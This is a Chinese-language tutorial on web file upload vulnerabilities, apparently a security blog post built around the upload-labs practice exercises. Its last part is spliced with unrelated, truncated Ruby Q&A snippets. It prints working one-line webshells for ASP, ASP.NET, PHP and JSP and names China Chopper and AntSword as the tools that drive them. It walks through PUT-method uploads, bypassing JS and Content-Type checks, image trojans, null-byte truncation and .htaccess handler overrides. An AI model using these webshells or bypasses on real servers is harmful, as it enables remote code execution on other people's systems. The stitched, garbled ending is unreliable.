文件上传是Web应用到必备功能之一,比如上传头像显示个性化,上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。
#ASP:
<%eval request("cmd")%>
#ASP.NET
<%@ Page Language="Jscript"%>"
<%eval(Request.Item["cmd","unsafe"]);%>
#PHP
<?php @eval($_REQUEST["cmd"]);?>
#JSP
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php的一句话木马,密码就是[cmd]。
中国菜刀与一句话木马配合实现了三大基本功能,如下:
Web服务器要开启文件上传功能,并且上传api(接口)对外“开放”(Web用户可以访问);
Web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录都有执行权限。
要想完美利用文件上传漏洞就,需要上传的文件可以执行,也就是Web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
无视以上条件的情况就是服务器配置不当,开启了PUT方法。
防御、绕过、利用
文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。所以,下文也是以这种方式讨论文件上传的问题。
PUT方法上传文件 (心跳检测)
HTTP请求方法之一,允许向服务器直接写入文件。
1、Apache如何开启PUT方法
@ 测试Apache是否开启了put方法
telnet ip 80
OPTIONS / HTTP/1.1
HOST:ip
@ Apache开启put方法操作
Apache如何查看与设置PUT请求+利用PUT方法上传文件
httpd.conf 文件
开启模块
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
启用模块
<Directory />
Options + Indexes + FollowSymLinks + ExecCGI
AllowOverride All
Order allow,deny
Require all granted
DAV On
<Directory />
开启文件锁
DavKockDB c:\phpstudy\www\DavLock
上传文件
PUT /info.php HTTP/1.1
Host :ip
Content-Length:18
<?php phpinfo();?>
有些Web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等。upload-labs第一关,以下是经典的代码:
<script type="text/javascript">
function checkFile(){
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == ""){
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexoOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name)==-1){
var errMsg = "该文件不允许上传,请上传"+allow_ext+"类型文件,当前文件类型为:"+ext_name;
alert(errMsg);
return false;
}
}
</script>
此段JS代码采用白名单策略,检测文件后缀名。配合表单事件使用。
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
前端JS脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。
方法1:因为JS脚本的运行环境是浏览器,我们可以修改JS代码,甚至删除表单事件。
方法2:使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可。
对于文件上传,只从Web前端进行检测显然防护不足,那么服务器端检测就特别重要了。一般服务器端检测,采用黑白名单策略,检测如下内容。
if(isset($_POST['submit'])){
if(file_exists($UPLOAD_ADDR)){
if(($_FILES['upload_file']['type']=='image/jpeg')||($_FILES['upload_file']['type']=='image/png')||($_FILES['upload_file']['type']=='image/gif')){
if(move_uploaded_file($_FILES['upload_file']['tmp_name'],$UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])){
$img_path=$UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload=true;}
}else{
$msg='文件类型不正确,请重新上传!';
}
}else{
$msg=$UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,所以可以用Burp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件。
function isImage($filename){
$types='.jpeh|.png|.gif';
if(file_exists($filename)){
$info=getimagesize($filename);
$ext=image_type_toextension($info[2]);
if(strupos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
对于文件内容检测,可以通过制作上传图片木马绕过
1、GIF89a
2、文件合并
命令行方法,准备一个图片和木马文件通过以下命令将两个文件合二为一。
[copy smile.jpg/b+info.php/a smileInfo.jpg]
可能受到图片源码影响,这时候换一张图片,或者使用别的方法
利用十六进制编辑器
所有jpg图片的文件头部是相同的,png和gif也是一样的。(文件幻数)
gif:47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
jpg:FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
png89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
服务器端还会检测文件后缀名
服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传php|asp|aspx|jsp…等可执行脚本的文件;白名单策略,只允许上传jpg|gif|png|doc|rar…等格式的文件。
00截断就是Null(空)字符(c语言),URL中表现为%00,00截断会导致文件上传路径截断。
以upload-labs第十一关为例子说明这个问题。
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
.htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。
如果一个Web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apache的配置,这是十分危险的。.htaccess攻击想象空间非常大。
首先看Apache的配置文件,允许.htaccess文件覆盖掉Apache的配置。
# .htaccess文件 (easy).
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
#info.png
<?php
phpinfo();
?>
当我们访问该文件时,[info.png]内的PHP代码将会被执行。
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
Web容器解析漏洞,就是Web容器在解析脚本出现的“bug”
编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。
dedeCMS、PHPcms
注入点
asp|access|.MDB|下载
利用数据库备份进行文件上传(getshell)
关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片码中的恶意代码。如果一个Web应用能够上传图片木马,那么我们认为这个Web应用是不安全的。文件上传漏洞的防御主要从以下几个方面考虑。
我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看rubyzip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d
我试图在一个项目中使用rake,如果我把所有东西都放到Rakefile中,它会很大并且很难读取/找到东西,所以我试着将每个命名空间放在lib/rake中它自己的文件中,我添加了这个到我的rake文件的顶部:Dir['#{File.dirname(__FILE__)}/lib/rake/*.rake'].map{|f|requiref}它加载文件没问题,但没有任务。我现在只有一个.rake文件作为测试,名为“servers.rake”,它看起来像这样:namespace:serverdotask:testdoputs"test"endend所以当我运行rakeserver:testid时
我的目标是转换表单输入,例如“100兆字节”或“1GB”,并将其转换为我可以存储在数据库中的文件大小(以千字节为单位)。目前,我有这个:defquota_convert@regex=/([0-9]+)(.*)s/@sizes=%w{kilobytemegabytegigabyte}m=self.quota.match(@regex)if@sizes.include?m[2]eval("self.quota=#{m[1]}.#{m[2]}")endend这有效,但前提是输入是倍数(“gigabytes”,而不是“gigabyte”)并且由于使用了eval看起来疯狂不安全。所以,功能正常,
Rails2.3可以选择随时使用RouteSet#add_configuration_file添加更多路由。是否可以在Rails3项目中做同样的事情? 最佳答案 在config/application.rb中:config.paths.config.routes在Rails3.2(也可能是Rails3.1)中,使用:config.paths["config/routes"] 关于ruby-on-rails-Rails3中的多个路由文件,我们在StackOverflow上找到一个类似的问题
对于具有离线功能的智能手机应用程序,我正在为Xml文件创建单向文本同步。我希望我的服务器将增量/差异(例如GNU差异补丁)发送到目标设备。这是计划:Time=0Server:hasversion_1ofXmlfile(~800kiB)Client:hasversion_1ofXmlfile(~800kiB)Time=1Server:hasversion_1andversion_2ofXmlfile(each~800kiB)computesdeltaoftheseversions(=patch)(~10kiB)sendspatchtoClient(~10kiBtransferred)Cl
我正在寻找执行以下操作的正确语法(在Perl、Shell或Ruby中):#variabletoaccessthedatalinesappendedasafileEND_OF_SCRIPT_MARKERrawdatastartshereanditcontinues. 最佳答案 Perl用__DATA__做这个:#!/usr/bin/perlusestrict;usewarnings;while(){print;}__DATA__Texttoprintgoeshere 关于ruby-如何将脚
使用带有Rails插件的vim,您可以创建一个迁移文件,然后一次性打开该文件吗?textmate也可以这样吗? 最佳答案 你可以使用rails.vim然后做类似的事情::Rgeneratemigratonadd_foo_to_bar插件将打开迁移生成的文件,这正是您想要的。我不能代表textmate。 关于ruby-使用VimRails,您可以创建一个新的迁移文件并一次性打开它吗?,我们在StackOverflow上找到一个类似的问题: https://sta
好的,所以我的目标是轻松地将一些数据保存到磁盘以备后用。您如何简单地写入然后读取一个对象?所以如果我有一个简单的类classCattr_accessor:a,:bdefinitialize(a,b)@a,@b=a,bendend所以如果我从中非常快地制作一个objobj=C.new("foo","bar")#justgaveitsomerandomvalues然后我可以把它变成一个kindaidstring=obj.to_s#whichreturns""我终于可以将此字符串打印到文件或其他内容中。我的问题是,我该如何再次将这个id变回一个对象?我知道我可以自己挑选信息并制作一个接受该信
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
我注意到像bundler这样的项目在每个specfile中执行requirespec_helper我还注意到rspec使用选项--require,它允许您在引导rspec时要求一个文件。您还可以将其添加到.rspec文件中,因此只要您运行不带参数的rspec就会添加它。使用上述方法有什么缺点可以解释为什么像bundler这样的项目选择在每个规范文件中都需要spec_helper吗? 最佳答案 我不在Bundler上工作,所以我不能直接谈论他们的做法。并非所有项目都checkin.rspec文件。原因是这个文件,通常按照当前的惯例,只